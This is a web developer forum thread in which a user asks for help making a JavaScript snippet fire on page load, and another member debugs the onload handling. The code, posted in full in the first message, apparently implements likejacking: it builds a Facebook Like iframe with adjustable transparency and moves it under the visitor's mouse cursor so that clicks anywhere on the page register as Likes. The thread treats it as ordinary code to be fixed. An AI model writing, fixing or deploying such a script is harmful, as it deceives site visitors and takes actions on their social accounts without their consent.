www.webdeveloper.com
Results 1 to 13 of 13

Thread: On page load script

  1. #1
    Join Date
    Jun 2012
    Posts
    9

    On page load script

    Hello,

    I have this code, how can I modify it to work on page load instead when I click in the page?

    Thank you

    Code:
    Code:
    if((document.getElementById) && window.addEventListener || window.attachEvent){
    	(function(){
    		var hairCol = "#ff0000";
    
    		var d = document;
    		var my = -10;
    		var mx = -10;
    		var r;
    		var vert = "";
    
    		var idx = document.getElementsByTagName('div').length;
    
    		var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
    		document.write(thehairs);
    		var like = document.getElementById("theiframe");
    		document.getElementsByTagName('body')[0].appendChild(like);
    
    		var pix = "px";
    		var domWw = (typeof window.innerWidth == "number");
    		var domSy = (typeof window.pageYOffset == "number");
    
    		if (domWw)
    			r = window;
    		else{ 
    			if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
    				r = d.documentElement;
    			else{
    				if (d.body && typeof d.body.clientWidth == "number")
    					r = d.body;
    			}
    		}
    
    		
    		if(time != 0){
    			setTimeout(function(){
    						document.getElementsByTagName('body')[0].removeChild(like);
    
    						if (window.addEventListener){
    							document.removeEventListener("mousemove",mouse,false);
    						}  
    						else if (window.attachEvent){
    							document.detachEvent("onmousemove",mouse);
    						}
    					}, time);
    		}
    
    		function scrl(yx){
    			var y,x;
    			if (domSy){
    				y = r.pageYOffset;
    				x = r.pageXOffset;
    			}
    			else{
    				y = r.scrollTop;
    				x = r.scrollLeft;
    			}
    			return (yx == 0) ? y:x;
    		}
    
    		function mouse(e){
    			var msy = (domSy)?window.pageYOffset:0;
    			if (!e)
    				e = window.event;    
    			if (typeof e.pageY == 'number'){
    				my = e.pageY - 5 - msy;
    				mx = e.pageX - 4;
    			}
    			else{
    				my = e.clientY - 6 - msy;
    				mx = e.clientX - 6;
    			}
    			vert.top = my + scrl(0) + pix;
    			vert.left = mx + pix;
    		}
    
    		function ani(){
    			vert.top = my + scrl(0) + pix;
    			setTimeout(ani, 300);
    		}
    
    
    		function init(){
    			vert = document.getElementById("theiframe").style;
    			ani();
    		}
    
    		if (window.addEventListener){
    			window.addEventListener("load",init,false);
    			document.addEventListener("mousemove",mouse,false);
    		}  
    		else if (window.attachEvent){
    			window.attachEvent("onload",init);
    			document.attachEvent("onmousemove",mouse);
    		}
    
    	})();
    }//End.

  2. #2
    Join Date
    Jun 2012
    Posts
    9
    Anyone?

    I really need it for today, sorry.

    Thank you in advance.

  3. #3
    Join Date
    Jan 2007
    Location
    Wisconsin
    Posts
    2,120
    I'm not sure this is necessary:

    PHP Code:
            if (window.addEventListener){
                
    window.addEventListener("load",init,false);
                
    document.addEventListener("mousemove",mouse,false);
            }  
            else if (
    window.attachEvent){
                
    window.attachEvent("onload",init);
                
    document.attachEvent("onmousemove",mouse);
            } 
    This should generally suffice:
    PHP Code:
    window.onload init
    Or this, if you need to pass parameters to init() or perform other actions as well:
    PHP Code:
    window.onload = function() { init(); } 
    Though, the simplest solution, in my opinion, is to place your "onload" code or method call at the bottom of the page, immediately before the closing body tag. You don't necessarily have the assurance that all images are loaded at that point, but all DOM nodes and preceding scripts will be.

  4. #4
    Join Date
    Jun 2012
    Posts
    9
    It still not working

  5. #5
    Join Date
    Jan 2007
    Location
    Wisconsin
    Posts
    2,120
    Is there a publicly accessible URL at which we can see this not working?

  6. #6
    Join Date
    Jun 2012
    Posts
    9
    Quote Originally Posted by svidgen View Post
    Is there a publicly accessible URL at which we can see this not working?
    http://www.deficiente-forum.com/pub/3.html

  7. #7
    Join Date
    Jan 2007
    Location
    Wisconsin
    Posts
    2,120
    Alright. I see you've changed a few things here.

    PHP Code:
    window.onload = function(){
      ... 
    a bunch of stuff ...
      
    window.onload init;
    }() 
    My best guess offhand as to what's happening:

    The function() being set to window.init is being run as an anonymous function, the result of which (there is no result in this case) is being assigned to window.onload, which is replacing the assignment within the function (window.onload = init).

    To take a simple example, the following line will define x as a function which alerts a literal x:
    PHP Code:
    var = function() { alert('x'); } 
    This line, on the other hand, will execute an anonymous function, alert a literal x immediately, and then dump the return value (null) into x after the alert box is cleared:
    PHP Code:
    var = function() { alert('x'); }() 

    First thing to try, get rid of the first window.onload =. Leave the window.onload = init; line in place. See what happens.

  8. #8
    Join Date
    Jun 2012
    Posts
    9
    Quote Originally Posted by svidgen View Post
    Alright. I see you've changed a few things here.

    PHP Code:
    window.onload = function(){
      ... 
    a bunch of stuff ...
      
    window.onload init;
    }() 
    My best guess offhand as to what's happening:

    The function() being set to window.init is being run as an anonymous function, the result of which (there is no result in this case) is being assigned to window.onload, which is replacing the assignment within the function (window.onload = init).

    To take a simple example, the following line will define x as a function which alerts a literal x:
    PHP Code:
    var = function() { alert('x'); } 
    This line, on the other hand, will execute an anonymous function, alert a literal x immediately, and then dump the return value (null) into x after the alert box is cleared:
    PHP Code:
    var = function() { alert('x'); }() 

    First thing to try, get rid of the first window.onload =. Leave the window.onload = init; line in place. See what happens.

    Ok, see it now. Thank you for the help

  9. #9
    Join Date
    Jan 2007
    Location
    Wisconsin
    Posts
    2,120
    You've commented out the remainder of the function, including the closing })().

  10. #10
    Join Date
    Jun 2012
    Posts
    9
    Quote Originally Posted by svidgen View Post
    You've commented out the remainder of the function, including the closing })().
    ups.. my mistake, sorry

  11. #11
    Join Date
    Jun 2012
    Posts
    9
    Quote Originally Posted by svidgen View Post
    You've commented out the remainder of the function, including the closing })().
    still not working.. any idea?

  12. #12
    Join Date
    Jan 2007
    Location
    Wisconsin
    Posts
    2,120
    Quote Originally Posted by fckool View Post
    still not working.. any idea?
    Yup. And at this point, I think it's best that I instruct you to use your browser's debug console.

    If you're using Chrome, you can right-click on the page, click Inspect Clement, and select the Console tab.
    If you're using Internet Explorer, press F12 and select the Console or Script tab.
    If you're using Firefox, find the Error Console from the Web Developer menu or press Ctrl-Shift-J.

    The error I'm seeing is exceptionally obvious if you take a brief moment to look for it!

  13. #13
    Join Date
    Jun 2012
    Posts
    9
    Quote Originally Posted by svidgen View Post
    Yup. And at this point, I think it's best that I instruct you to use your browser's debug console.

    If you're using Chrome, you can right-click on the page, click Inspect Clement, and select the Console tab.
    If you're using Internet Explorer, press F12 and select the Console or Script tab.
    If you're using Firefox, find the Error Console from the Web Developer menu or press Ctrl-Shift-J.

    The error I'm seeing is exceptionally obvious if you take a brief moment to look for it!
    Uncaught ReferenceError: windows is not defined

    True..See it now.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles